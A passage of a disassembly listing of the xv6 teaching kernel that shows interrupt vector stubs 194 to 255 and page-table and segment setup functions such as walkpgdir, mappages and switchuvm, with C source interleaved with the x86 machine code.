80106b99: 68 c1 00 00 00 push $0xc1 jmp alltraps 80106b9e: e9 b4 f3 ff ff jmp 80105f57 <alltraps> 80106ba3 <vector194>: .globl vector194 vector194: pushl $0 80106ba3: 6a 00 push $0x0 pushl $194 80106ba5: 68 c2 00 00 00 push $0xc2 jmp alltraps 80106baa: e9 a8 f3 ff ff jmp 80105f57 <alltraps> 80106baf <vector195>: .globl vector195 vector195: pushl $0 80106baf: 6a 00 push $0x0 pushl $195 80106bb1: 68 c3 00 00 00 push $0xc3 jmp alltraps 80106bb6: e9 9c f3 ff ff jmp 80105f57 <alltraps> 80106bbb <vector196>: .globl vector196 vector196: pushl $0 80106bbb: 6a 00 push $0x0 pushl $196 80106bbd: 68 c4 00 00 00 push $0xc4 jmp alltraps 80106bc2: e9 90 f3 ff ff jmp 80105f57 <alltraps> 80106bc7 <vector197>: .globl vector197 vector197: pushl $0 80106bc7: 6a 00 push $0x0 pushl $197 80106bc9: 68 c5 00 00 00 push $0xc5 jmp alltraps 80106bce: e9 84 f3 ff ff jmp 80105f57 <alltraps> 80106bd3 <vector198>: .globl vector198 vector198: pushl $0 80106bd3: 6a 00 push $0x0 pushl $198 80106bd5: 68 c6 00 00 00 push $0xc6 jmp alltraps 80106bda: e9 78 f3 ff ff jmp 80105f57 <alltraps> 80106bdf <vector199>: .globl vector199 vector199: pushl $0 80106bdf: 6a 00 push $0x0 pushl $199 80106be1: 68 c7 00 00 00 push $0xc7 jmp alltraps 80106be6: e9 6c f3 ff ff jmp 80105f57 <alltraps> 80106beb <vector200>: .globl vector200 vector200: pushl $0 80106beb: 6a 00 push $0x0 pushl $200 80106bed: 68 c8 00 00 00 push $0xc8 jmp alltraps 80106bf2: e9 60 f3 ff ff jmp 80105f57 <alltraps> 80106bf7 <vector201>: .globl vector201 vector201: pushl $0 80106bf7: 6a 00 push $0x0 pushl $201 80106bf9: 68 c9 00 00 00 push $0xc9 jmp alltraps 80106bfe: e9 54 f3 ff ff jmp 80105f57 <alltraps> 80106c03 <vector202>: .globl vector202 vector202: pushl $0 80106c03: 6a 00 push $0x0 pushl $202 80106c05: 68 ca 00 00 00 push $0xca jmp alltraps 80106c0a: e9 48 f3 ff ff jmp 80105f57 <alltraps> 80106c0f <vector203>: .globl vector203 vector203: pushl $0 80106c0f: 6a 00 push $0x0 pushl $203 80106c11: 68 cb 00 00 00 push $0xcb jmp alltraps 80106c16: e9 3c f3 ff ff jmp 80105f57 <alltraps> 80106c1b <vector204>: .globl vector204 vector204: pushl $0 80106c1b: 6a 00 push $0x0 pushl $204 80106c1d: 68 cc 00 00 00 push $0xcc jmp alltraps 80106c22: e9 30 f3 ff ff jmp 80105f57 <alltraps> 80106c27 <vector205>: .globl vector205 vector205: pushl $0 80106c27: 6a 00 push $0x0 pushl $205 80106c29: 68 cd 00 00 00 push $0xcd jmp alltraps 80106c2e: e9 24 f3 ff ff jmp 80105f57 <alltraps> 80106c33 <vector206>: .globl vector206 vector206: pushl $0 80106c33: 6a 00 push $0x0 pushl $206 80106c35: 68 ce 00 00 00 push $0xce jmp alltraps 80106c3a: e9 18 f3 ff ff jmp 80105f57 <alltraps> 80106c3f <vector207>: .globl vector207 vector207: pushl $0 80106c3f: 6a 00 push $0x0 pushl $207 80106c41: 68 cf 00 00 00 push $0xcf jmp alltraps 80106c46: e9 0c f3 ff ff jmp 80105f57 <alltraps> 80106c4b <vector208>: .globl vector208 vector208: pushl $0 80106c4b: 6a 00 push $0x0 pushl $208 80106c4d: 68 d0 00 00 00 push $0xd0 jmp alltraps 80106c52: e9 00 f3 ff ff jmp 80105f57 <alltraps> 80106c57 <vector209>: .globl vector209 vector209: pushl $0 80106c57: 6a 00 push $0x0 pushl $209 80106c59: 68 d1 00 00 00 push $0xd1 jmp alltraps 80106c5e: e9 f4 f2 ff ff jmp 80105f57 <alltraps> 80106c63 <vector210>: .globl vector210 vector210: pushl $0 80106c63: 6a 00 push $0x0 pushl $210 80106c65: 68 d2 00 00 00 push $0xd2 jmp alltraps 80106c6a: e9 e8 f2 ff ff jmp 80105f57 <alltraps> 80106c6f <vector211>: .globl vector211 vector211: pushl $0 80106c6f: 6a 00 push $0x0 pushl $211 80106c71: 68 d3 00 00 00 push $0xd3 jmp alltraps 80106c76: e9 dc f2 ff ff jmp 80105f57 <alltraps> 80106c7b <vector212>: .globl vector212 vector212: pushl $0 80106c7b: 6a 00 push $0x0 pushl $212 80106c7d: 68 d4 00 00 00 push $0xd4 jmp alltraps 80106c82: e9 d0 f2 ff ff jmp 80105f57 <alltraps> 80106c87 <vector213>: .globl vector213 vector213: pushl $0 80106c87: 6a 00 push $0x0 pushl $213 80106c89: 68 d5 00 00 00 push $0xd5 jmp alltraps 80106c8e: e9 c4 f2 ff ff jmp 80105f57 <alltraps> 80106c93 <vector214>: .globl vector214 vector214: pushl $0 80106c93: 6a 00 push $0x0 pushl $214 80106c95: 68 d6 00 00 00 push $0xd6 jmp alltraps 80106c9a: e9 b8 f2 ff ff jmp 80105f57 <alltraps> 80106c9f <vector215>: .globl vector215 vector215: pushl $0 80106c9f: 6a 00 push $0x0 pushl $215 80106ca1: 68 d7 00 00 00 push $0xd7 jmp alltraps 80106ca6: e9 ac f2 ff ff jmp 80105f57 <alltraps> 80106cab <vector216>: .globl vector216 vector216: pushl $0 80106cab: 6a 00 push $0x0 pushl $216 80106cad: 68 d8 00 00 00 push $0xd8 jmp alltraps 80106cb2: e9 a0 f2 ff ff jmp 80105f57 <alltraps> 80106cb7 <vector217>: .globl vector217 vector217: pushl $0 80106cb7: 6a 00 push $0x0 pushl $217 80106cb9: 68 d9 00 00 00 push $0xd9 jmp alltraps 80106cbe: e9 94 f2 ff ff jmp 80105f57 <alltraps> 80106cc3 <vector218>: .globl vector218 vector218: pushl $0 80106cc3: 6a 00 push $0x0 pushl $218 80106cc5: 68 da 00 00 00 push $0xda jmp alltraps 80106cca: e9 88 f2 ff ff jmp 80105f57 <alltraps> 80106ccf <vector219>: .globl vector219 vector219: pushl $0 80106ccf: 6a 00 push $0x0 pushl $219 80106cd1: 68 db 00 00 00 push $0xdb jmp alltraps 80106cd6: e9 7c f2 ff ff jmp 80105f57 <alltraps> 80106cdb <vector220>: .globl vector220 vector220: pushl $0 80106cdb: 6a 00 push $0x0 pushl $220 80106cdd: 68 dc 00 00 00 push $0xdc jmp alltraps 80106ce2: e9 70 f2 ff ff jmp 80105f57 <alltraps> 80106ce7 <vector221>: .globl vector221 vector221: pushl $0 80106ce7: 6a 00 push $0x0 pushl $221 80106ce9: 68 dd 00 00 00 push $0xdd jmp alltraps 80106cee: e9 64 f2 ff ff jmp 80105f57 <alltraps> 80106cf3 <vector222>: .globl vector222 vector222: pushl $0 80106cf3: 6a 00 push $0x0 pushl $222 80106cf5: 68 de 00 00 00 push $0xde jmp alltraps 80106cfa: e9 58 f2 ff ff jmp 80105f57 <alltraps> 80106cff <vector223>: .globl vector223 vector223: pushl $0 80106cff: 6a 00 push $0x0 pushl $223 80106d01: 68 df 00 00 00 push $0xdf jmp alltraps 80106d06: e9 4c f2 ff ff jmp 80105f57 <alltraps> 80106d0b <vector224>: .globl vector224 vector224: pushl $0 80106d0b: 6a 00 push $0x0 pushl $224 80106d0d: 68 e0 00 00 00 push $0xe0 jmp alltraps 80106d12: e9 40 f2 ff ff jmp 80105f57 <alltraps> 80106d17 <vector225>: .globl vector225 vector225: pushl $0 80106d17: 6a 00 push $0x0 pushl $225 80106d19: 68 e1 00 00 00 push $0xe1 jmp alltraps 80106d1e: e9 34 f2 ff ff jmp 80105f57 <alltraps> 80106d23 <vector226>: .globl vector226 vector226: pushl $0 80106d23: 6a 00 push $0x0 pushl $226 80106d25: 68 e2 00 00 00 push $0xe2 jmp alltraps 80106d2a: e9 28 f2 ff ff jmp 80105f57 <alltraps> 80106d2f <vector227>: .globl vector227 vector227: pushl $0 80106d2f: 6a 00 push $0x0 pushl $227 80106d31: 68 e3 00 00 00 push $0xe3 jmp alltraps 80106d36: e9 1c f2 ff ff jmp 80105f57 <alltraps> 80106d3b <vector228>: .globl vector228 vector228: pushl $0 80106d3b: 6a 00 push $0x0 pushl $228 80106d3d: 68 e4 00 00 00 push $0xe4 jmp alltraps 80106d42: e9 10 f2 ff ff jmp 80105f57 <alltraps> 80106d47 <vector229>: .globl vector229 vector229: pushl $0 80106d47: 6a 00 push $0x0 pushl $229 80106d49: 68 e5 00 00 00 push $0xe5 jmp alltraps 80106d4e: e9 04 f2 ff ff jmp 80105f57 <alltraps> 80106d53 <vector230>: .globl vector230 vector230: pushl $0 80106d53: 6a 00 push $0x0 pushl $230 80106d55: 68 e6 00 00 00 push $0xe6 jmp alltraps 80106d5a: e9 f8 f1 ff ff jmp 80105f57 <alltraps> 80106d5f <vector231>: .globl vector231 vector231: pushl $0 80106d5f: 6a 00 push $0x0 pushl $231 80106d61: 68 e7 00 00 00 push $0xe7 jmp alltraps 80106d66: e9 ec f1 ff ff jmp 80105f57 <alltraps> 80106d6b <vector232>: .globl vector232 vector232: pushl $0 80106d6b: 6a 00 push $0x0 pushl $232 80106d6d: 68 e8 00 00 00 push $0xe8 jmp alltraps 80106d72: e9 e0 f1 ff ff jmp 80105f57 <alltraps> 80106d77 <vector233>: .globl vector233 vector233: pushl $0 80106d77: 6a 00 push $0x0 pushl $233 80106d79: 68 e9 00 00 00 push $0xe9 jmp alltraps 80106d7e: e9 d4 f1 ff ff jmp 80105f57 <alltraps> 80106d83 <vector234>: .globl vector234 vector234: pushl $0 80106d83: 6a 00 push $0x0 pushl $234 80106d85: 68 ea 00 00 00 push $0xea jmp alltraps 80106d8a: e9 c8 f1 ff ff jmp 80105f57 <alltraps> 80106d8f <vector235>: .globl vector235 vector235: pushl $0 80106d8f: 6a 00 push $0x0 pushl $235 80106d91: 68 eb 00 00 00 push $0xeb jmp alltraps 80106d96: e9 bc f1 ff ff jmp 80105f57 <alltraps> 80106d9b <vector236>: .globl vector236 vector236: pushl $0 80106d9b: 6a 00 push $0x0 pushl $236 80106d9d: 68 ec 00 00 00 push $0xec jmp alltraps 80106da2: e9 b0 f1 ff ff jmp 80105f57 <alltraps> 80106da7 <vector237>: .globl vector237 vector237: pushl $0 80106da7: 6a 00 push $0x0 pushl $237 80106da9: 68 ed 00 00 00 push $0xed jmp alltraps 80106dae: e9 a4 f1 ff ff jmp 80105f57 <alltraps> 80106db3 <vector238>: .globl vector238 vector238: pushl $0 80106db3: 6a 00 push $0x0 pushl $238 80106db5: 68 ee 00 00 00 push $0xee jmp alltraps 80106dba: e9 98 f1 ff ff jmp 80105f57 <alltraps> 80106dbf <vector239>: .globl vector239 vector239: pushl $0 80106dbf: 6a 00 push $0x0 pushl $239 80106dc1: 68 ef 00 00 00 push $0xef jmp alltraps 80106dc6: e9 8c f1 ff ff jmp 80105f57 <alltraps> 80106dcb <vector240>: .globl vector240 vector240: pushl $0 80106dcb: 6a 00 push $0x0 pushl $240 80106dcd: 68 f0 00 00 00 push $0xf0 jmp alltraps 80106dd2: e9 80 f1 ff ff jmp 80105f57 <alltraps> 80106dd7 <vector241>: .globl vector241 vector241: pushl $0 80106dd7: 6a 00 push $0x0 pushl $241 80106dd9: 68 f1 00 00 00 push $0xf1 jmp alltraps 80106dde: e9 74 f1 ff ff jmp 80105f57 <alltraps> 80106de3 <vector242>: .globl vector242 vector242: pushl $0 80106de3: 6a 00 push $0x0 pushl $242 80106de5: 68 f2 00 00 00 push $0xf2 jmp alltraps 80106dea: e9 68 f1 ff ff jmp 80105f57 <alltraps> 80106def <vector243>: .globl vector243 vector243: pushl $0 80106def: 6a 00 push $0x0 pushl $243 80106df1: 68 f3 00 00 00 push $0xf3 jmp alltraps 80106df6: e9 5c f1 ff ff jmp 80105f57 <alltraps> 80106dfb <vector244>: .globl vector244 vector244: pushl $0 80106dfb: 6a 00 push $0x0 pushl $244 80106dfd: 68 f4 00 00 00 push $0xf4 jmp alltraps 80106e02: e9 50 f1 ff ff jmp 80105f57 <alltraps> 80106e07 <vector245>: .globl vector245 vector245: pushl $0 80106e07: 6a 00 push $0x0 pushl $245 80106e09: 68 f5 00 00 00 push $0xf5 jmp alltraps 80106e0e: e9 44 f1 ff ff jmp 80105f57 <alltraps> 80106e13 <vector246>: .globl vector246 vector246: pushl $0 80106e13: 6a 00 push $0x0 pushl $246 80106e15: 68 f6 00 00 00 push $0xf6 jmp alltraps 80106e1a: e9 38 f1 ff ff jmp 80105f57 <alltraps> 80106e1f <vector247>: .globl vector247 vector247: pushl $0 80106e1f: 6a 00 push $0x0 pushl $247 80106e21: 68 f7 00 00 00 push $0xf7 jmp alltraps 80106e26: e9 2c f1 ff ff jmp 80105f57 <alltraps> 80106e2b <vector248>: .globl vector248 vector248: pushl $0 80106e2b: 6a 00 push $0x0 pushl $248 80106e2d: 68 f8 00 00 00 push $0xf8 jmp alltraps 80106e32: e9 20 f1 ff ff jmp 80105f57 <alltraps> 80106e37 <vector249>: .globl vector249 vector249: pushl $0 80106e37: 6a 00 push $0x0 pushl $249 80106e39: 68 f9 00 00 00 push $0xf9 jmp alltraps 80106e3e: e9 14 f1 ff ff jmp 80105f57 <alltraps> 80106e43 <vector250>: .globl vector250 vector250: pushl $0 80106e43: 6a 00 push $0x0 pushl $250 80106e45: 68 fa 00 00 00 push $0xfa jmp alltraps 80106e4a: e9 08 f1 ff ff jmp 80105f57 <alltraps> 80106e4f <vector251>: .globl vector251 vector251: pushl $0 80106e4f: 6a 00 push $0x0 pushl $251 80106e51: 68 fb 00 00 00 push $0xfb jmp alltraps 80106e56: e9 fc f0 ff ff jmp 80105f57 <alltraps> 80106e5b <vector252>: .globl vector252 vector252: pushl $0 80106e5b: 6a 00 push $0x0 pushl $252 80106e5d: 68 fc 00 00 00 push $0xfc jmp alltraps 80106e62: e9 f0 f0 ff ff jmp 80105f57 <alltraps> 80106e67 <vector253>: .globl vector253 vector253: pushl $0 80106e67: 6a 00 push $0x0 pushl $253 80106e69: 68 fd 00 00 00 push $0xfd jmp alltraps 80106e6e: e9 e4 f0 ff ff jmp 80105f57 <alltraps> 80106e73 <vector254>: .globl vector254 vector254: pushl $0 80106e73: 6a 00 push $0x0 pushl $254 80106e75: 68 fe 00 00 00 push $0xfe jmp alltraps 80106e7a: e9 d8 f0 ff ff jmp 80105f57 <alltraps> 80106e7f <vector255>: .globl vector255 vector255: pushl $0 80106e7f: 6a 00 push $0x0 pushl $255 80106e81: 68 ff 00 00 00 push $0xff jmp alltraps 80106e86: e9 cc f0 ff ff jmp 80105f57 <alltraps> 80106e8b: 66 90 xchg %ax,%ax 80106e8d: 66 90 xchg %ax,%ax 80106e8f: 90 nop 80106e90 <walkpgdir>: // Return the address of the PTE in page table pgdir // that corresponds to virtual address va. If alloc!=0, // create any required page table pages. static pte_t * walkpgdir(pde_t *pgdir, const void *va, int alloc) { 80106e90: 55 push %ebp 80106e91: 89 e5 mov %esp,%ebp 80106e93: 57 push %edi 80106e94: 56 push %esi 80106e95: 89 d6 mov %edx,%esi pde_t *pde; pte_t *pgtab; pde = &pgdir[PDX(va)]; 80106e97: c1 ea 16 shr $0x16,%edx { 80106e9a: 53 push %ebx pde = &pgdir[PDX(va)]; 80106e9b: 8d 3c 90 lea (%eax,%edx,4),%edi { 80106e9e: 83 ec 0c sub $0xc,%esp if(*pde & PTE_P){ 80106ea1: 8b 1f mov (%edi),%ebx 80106ea3: f6 c3 01 test $0x1,%bl 80106ea6: 74 28 je 80106ed0 <walkpgdir+0x40> pgtab = (pte_t*)P2V(PTE_ADDR(*pde)); 80106ea8: 81 e3 00 f0 ff ff and $0xfffff000,%ebx 80106eae: 81 c3 00 00 00 80 add $0x80000000,%ebx // The permissions here are overly generous, but they can // be further restricted by the permissions in the page table // entries, if necessary. *pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U; } return &pgtab[PTX(va)]; 80106eb4: 89 f0 mov %esi,%eax } 80106eb6: 8d 65 f4 lea -0xc(%ebp),%esp return &pgtab[PTX(va)]; 80106eb9: c1 e8 0a shr $0xa,%eax 80106ebc: 25 fc 0f 00 00 and $0xffc,%eax 80106ec1: 01 d8 add %ebx,%eax } 80106ec3: 5b pop %ebx 80106ec4: 5e pop %esi 80106ec5: 5f pop %edi 80106ec6: 5d pop %ebp 80106ec7: c3 ret 80106ec8: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80106ecf: 90 nop if(!alloc || (pgtab = (pte_t*)kalloc()) == 0) 80106ed0: 85 c9 test %ecx,%ecx 80106ed2: 74 2c je 80106f00 <walkpgdir+0x70> 80106ed4: e8 57 b7 ff ff call 80102630 <kalloc> 80106ed9: 89 c3 mov %eax,%ebx 80106edb: 85 c0 test %eax,%eax 80106edd: 74 21 je 80106f00 <walkpgdir+0x70> memset(pgtab, 0, PGSIZE); 80106edf: 83 ec 04 sub $0x4,%esp 80106ee2: 68 00 10 00 00 push $0x1000 80106ee7: 6a 00 push $0x0 80106ee9: 50 push %eax 80106eea: e8 61 dd ff ff call 80104c50 <memset> *pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U; 80106eef: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax 80106ef5: 83 c4 10 add $0x10,%esp 80106ef8: 83 c8 07 or $0x7,%eax 80106efb: 89 07 mov %eax,(%edi) 80106efd: eb b5 jmp 80106eb4 <walkpgdir+0x24> 80106eff: 90 nop } 80106f00: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 80106f03: 31 c0 xor %eax,%eax } 80106f05: 5b pop %ebx 80106f06: 5e pop %esi 80106f07: 5f pop %edi 80106f08: 5d pop %ebp 80106f09: c3 ret 80106f0a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80106f10 <mappages>: // Create PTEs for virtual addresses starting at va that refer to // physical addresses starting at pa. va and size might not // be page-aligned. static int mappages(pde_t *pgdir, void *va, uint size, uint pa, int perm) { 80106f10: 55 push %ebp 80106f11: 89 e5 mov %esp,%ebp 80106f13: 57 push %edi 80106f14: 89 c7 mov %eax,%edi char *a, *last; pte_t *pte; a = (char*)PGROUNDDOWN((uint)va); last = (char*)PGROUNDDOWN(((uint)va) + size - 1); 80106f16: 8d 44 0a ff lea -0x1(%edx,%ecx,1),%eax { 80106f1a: 56 push %esi last = (char*)PGROUNDDOWN(((uint)va) + size - 1); 80106f1b: 25 00 f0 ff ff and $0xfffff000,%eax a = (char*)PGROUNDDOWN((uint)va); 80106f20: 89 d6 mov %edx,%esi { 80106f22: 53 push %ebx a = (char*)PGROUNDDOWN((uint)va); 80106f23: 81 e6 00 f0 ff ff and $0xfffff000,%esi { 80106f29: 83 ec 1c sub $0x1c,%esp last = (char*)PGROUNDDOWN(((uint)va) + size - 1); 80106f2c: 89 45 e0 mov %eax,-0x20(%ebp) 80106f2f: 8b 45 08 mov 0x8(%ebp),%eax 80106f32: 29 f0 sub %esi,%eax 80106f34: 89 45 e4 mov %eax,-0x1c(%ebp) 80106f37: eb 1f jmp 80106f58 <mappages+0x48> 80106f39: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi for(;;){ if((pte = walkpgdir(pgdir, a, 1)) == 0) return -1; if(*pte & PTE_P) 80106f40: f6 00 01 testb $0x1,(%eax) 80106f43: 75 45 jne 80106f8a <mappages+0x7a> panic("remap"); *pte = pa | perm | PTE_P; 80106f45: 0b 5d 0c or 0xc(%ebp),%ebx 80106f48: 83 cb 01 or $0x1,%ebx 80106f4b: 89 18 mov %ebx,(%eax) if(a == last) 80106f4d: 3b 75 e0 cmp -0x20(%ebp),%esi 80106f50: 74 2e je 80106f80 <mappages+0x70> break; a += PGSIZE; 80106f52: 81 c6 00 10 00 00 add $0x1000,%esi for(;;){ 80106f58: 8b 45 e4 mov -0x1c(%ebp),%eax if((pte = walkpgdir(pgdir, a, 1)) == 0) 80106f5b: b9 01 00 00 00 mov $0x1,%ecx 80106f60: 89 f2 mov %esi,%edx 80106f62: 8d 1c 06 lea (%esi,%eax,1),%ebx 80106f65: 89 f8 mov %edi,%eax 80106f67: e8 24 ff ff ff call 80106e90 <walkpgdir> 80106f6c: 85 c0 test %eax,%eax 80106f6e: 75 d0 jne 80106f40 <mappages+0x30> pa += PGSIZE; } return 0; } 80106f70: 8d 65 f4 lea -0xc(%ebp),%esp return -1; 80106f73: b8 ff ff ff ff mov $0xffffffff,%eax } 80106f78: 5b pop %ebx 80106f79: 5e pop %esi 80106f7a: 5f pop %edi 80106f7b: 5d pop %ebp 80106f7c: c3 ret 80106f7d: 8d 76 00 lea 0x0(%esi),%esi 80106f80: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 80106f83: 31 c0 xor %eax,%eax } 80106f85: 5b pop %ebx 80106f86: 5e pop %esi 80106f87: 5f pop %edi 80106f88: 5d pop %ebp 80106f89: c3 ret panic("remap"); 80106f8a: 83 ec 0c sub $0xc,%esp 80106f8d: 68 b4 81 10 80 push $0x801081b4 80106f92: e8 f9 93 ff ff call 80100390 <panic> 80106f97: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80106f9e: 66 90 xchg %ax,%ax 80106fa0 <deallocuvm.part.0>: // Deallocate user pages to bring the process size from oldsz to // newsz. oldsz and newsz need not be page-aligned, nor does newsz // need to be less than oldsz. oldsz can be larger than the actual // process size. Returns the new process size. int deallocuvm(pde_t *pgdir, uint oldsz, uint newsz) 80106fa0: 55 push %ebp 80106fa1: 89 e5 mov %esp,%ebp 80106fa3: 57 push %edi 80106fa4: 56 push %esi 80106fa5: 89 c6 mov %eax,%esi 80106fa7: 53 push %ebx 80106fa8: 89 d3 mov %edx,%ebx uint a, pa; if(newsz >= oldsz) return oldsz; a = PGROUNDUP(newsz); 80106faa: 8d 91 ff 0f 00 00 lea 0xfff(%ecx),%edx 80106fb0: 81 e2 00 f0 ff ff and $0xfffff000,%edx deallocuvm(pde_t *pgdir, uint oldsz, uint newsz) 80106fb6: 83 ec 1c sub $0x1c,%esp 80106fb9: 89 4d e0 mov %ecx,-0x20(%ebp) for(; a < oldsz; a += PGSIZE){ 80106fbc: 39 da cmp %ebx,%edx 80106fbe: 73 5b jae 8010701b <deallocuvm.part.0+0x7b> 80106fc0: 89 5d e4 mov %ebx,-0x1c(%ebp) 80106fc3: 89 d7 mov %edx,%edi 80106fc5: eb 14 jmp 80106fdb <deallocuvm.part.0+0x3b> 80106fc7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80106fce: 66 90 xchg %ax,%ax 80106fd0: 81 c7 00 10 00 00 add $0x1000,%edi 80106fd6: 39 7d e4 cmp %edi,-0x1c(%ebp) 80106fd9: 76 40 jbe 8010701b <deallocuvm.part.0+0x7b> pte = walkpgdir(pgdir, (char*)a, 0); 80106fdb: 31 c9 xor %ecx,%ecx 80106fdd: 89 fa mov %edi,%edx 80106fdf: 89 f0 mov %esi,%eax 80106fe1: e8 aa fe ff ff call 80106e90 <walkpgdir> 80106fe6: 89 c3 mov %eax,%ebx if(!pte) 80106fe8: 85 c0 test %eax,%eax 80106fea: 74 44 je 80107030 <deallocuvm.part.0+0x90> a = PGADDR(PDX(a) + 1, 0, 0) - PGSIZE; else if((*pte & PTE_P) != 0){ 80106fec: 8b 00 mov (%eax),%eax 80106fee: a8 01 test $0x1,%al 80106ff0: 74 de je 80106fd0 <deallocuvm.part.0+0x30> pa = PTE_ADDR(*pte); if(pa == 0) 80106ff2: 25 00 f0 ff ff and $0xfffff000,%eax 80106ff7: 74 47 je 80107040 <deallocuvm.part.0+0xa0> panic("kfree"); char *v = P2V(pa); kfree(v); 80106ff9: 83 ec 0c sub $0xc,%esp char *v = P2V(pa); 80106ffc: 05 00 00 00 80 add $0x80000000,%eax 80107001: 81 c7 00 10 00 00 add $0x1000,%edi kfree(v); 80107007: 50 push %eax 80107008: e8 63 b4 ff ff call 80102470 <kfree> *pte = 0; 8010700d: c7 03 00 00 00 00 movl $0x0,(%ebx) 80107013: 83 c4 10 add $0x10,%esp for(; a < oldsz; a += PGSIZE){ 80107016: 39 7d e4 cmp %edi,-0x1c(%ebp) 80107019: 77 c0 ja 80106fdb <deallocuvm.part.0+0x3b> } } return newsz; } 8010701b: 8b 45 e0 mov -0x20(%ebp),%eax 8010701e: 8d 65 f4 lea -0xc(%ebp),%esp 80107021: 5b pop %ebx 80107022: 5e pop %esi 80107023: 5f pop %edi 80107024: 5d pop %ebp 80107025: c3 ret 80107026: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 8010702d: 8d 76 00 lea 0x0(%esi),%esi a = PGADDR(PDX(a) + 1, 0, 0) - PGSIZE; 80107030: 89 fa mov %edi,%edx 80107032: 81 e2 00 00 c0 ff and $0xffc00000,%edx 80107038: 8d ba 00 00 40 00 lea 0x400000(%edx),%edi 8010703e: eb 96 jmp 80106fd6 <deallocuvm.part.0+0x36> panic("kfree"); 80107040: 83 ec 0c sub $0xc,%esp 80107043: 68 46 7a 10 80 push $0x80107a46 80107048: e8 43 93 ff ff call 80100390 <panic> 8010704d: 8d 76 00 lea 0x0(%esi),%esi 80107050 <seginit>: { 80107050: f3 0f 1e fb endbr32 80107054: 55 push %ebp 80107055: 89 e5 mov %esp,%ebp 80107057: 83 ec 18 sub $0x18,%esp c = &cpus[cpuid()]; 8010705a: e8 11 c9 ff ff call 80103970 <cpuid> pd[0] = size-1; 8010705f: ba 2f 00 00 00 mov $0x2f,%edx 80107064: 69 c0 b0 00 00 00 imul $0xb0,%eax,%eax 8010706a: 66 89 55 f2 mov %dx,-0xe(%ebp) c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0); 8010706e: c7 80 f8 37 11 80 ff movl $0xffff,-0x7feec808(%eax) 80107075: ff 00 00 80107078: c7 80 fc 37 11 80 00 movl $0xcf9a00,-0x7feec804(%eax) 8010707f: 9a cf 00 c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0); 80107082: c7 80 00 38 11 80 ff movl $0xffff,-0x7feec800(%eax) 80107089: ff 00 00 8010708c: c7 80 04 38 11 80 00 movl $0xcf9200,-0x7feec7fc(%eax) 80107093: 92 cf 00 c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER); 80107096: c7 80 08 38 11 80 ff movl $0xffff,-0x7feec7f8(%eax) 8010709d: ff 00 00 801070a0: c7 80 0c 38 11 80 00 movl $0xcffa00,-0x7feec7f4(%eax) 801070a7: fa cf 00 c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER); 801070aa: c7 80 10 38 11 80 ff movl $0xffff,-0x7feec7f0(%eax) 801070b1: ff 00 00 801070b4: c7 80 14 38 11 80 00 movl $0xcff200,-0x7feec7ec(%eax) 801070bb: f2 cf 00 lgdt(c->gdt, sizeof(c->gdt)); 801070be: 05 f0 37 11 80 add $0x801137f0,%eax pd[1] = (uint)p; 801070c3: 66 89 45 f4 mov %ax,-0xc(%ebp) pd[2] = (uint)p >> 16; 801070c7: c1 e8 10 shr $0x10,%eax 801070ca: 66 89 45 f6 mov %ax,-0xa(%ebp) asm volatile("lgdt (%0)" : : "r" (pd)); 801070ce: 8d 45 f2 lea -0xe(%ebp),%eax 801070d1: 0f 01 10 lgdtl (%eax) } 801070d4: c9 leave 801070d5: c3 ret 801070d6: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801070dd: 8d 76 00 lea 0x0(%esi),%esi 801070e0 <switchkvm>: { 801070e0: f3 0f 1e fb endbr32 lcr3(V2P(kpgdir)); // switch to the kernel page table 801070e4: a1 c4 77 11 80 mov 0x801177c4,%eax 801070e9: 05 00 00 00 80 add $0x80000000,%eax } static inline void lcr3(uint val) { asm volatile("movl %0,%%cr3" : : "r" (val)); 801070ee: 0f 22 d8 mov %eax,%cr3 } 801070f1: c3 ret 801070f2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801070f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80107100 <switchuvm>: { 80107100: f3 0f 1e fb endbr32 80107104: 55 push %ebp 80107105: 89 e5 mov %esp,%ebp 80107107: 57 push %edi 80107108: 56 push %esi 80107109: 53 push %ebx 8010710a: 83 ec 1c sub $0x1c,%esp 8010710d: 8b 75 08 mov 0x8(%ebp),%esi if(p == 0) 80107110: 85 f6 test %esi,%esi 80107112: 0f 84 cb 00 00 00 je 801071e3 <switchuvm+0xe3> if(p->kstack == 0) 80107118: 8b 46 08 mov 0x8(%esi),%eax 8010711b: 85 c0 test %eax,%eax 8010711d: 0f 84 da 00 00 00 je 801071fd <switchuvm+0xfd> if(p->pgdir == 0) 80107123: 8b 46 04 mov 0x4(%esi),%eax 80107126: 85 c0 test %eax,%eax 80107128: 0f 84 c2 00 00 00 je 801071f0 <switchuvm+0xf0> pushcli(); 8010712e: e8 0d d9 ff ff call 80104a40 <pushcli> mycpu()->gdt[SEG_TSS] = SEG16(STS_T32A, &mycpu()->ts, 80107133: e8 c8 c7 ff ff call 80103900 <mycpu> 80107138: 89 c3 mov %eax,%ebx 8010713a: e8 c1 c7 ff ff call 80103900 <mycpu> 8010713f: 89 c7 mov %eax,%edi 80107141: e8 ba c7 ff ff call 80103900 <mycpu> 80107146: 83 c7 08 add $0x8,%edi 80107149: 89 45 e4 mov %eax,-0x1c(%ebp) 8010714c: e8 af c7 ff ff call 80103900 <mycpu> 80107151: 8b 4d e4 mov -0x1c(%ebp),%ecx 80107154: ba 67 00 00 00 mov $0x67,%edx 80107159: 66 89 bb 9a 00 00 00 mov %di,0x9a(%ebx) 80107160: 83 c0 08 add $0x8,%eax 80107163: 66 89 93 98 00 00 00 mov %dx,0x98(%ebx) mycpu()->ts.iomb = 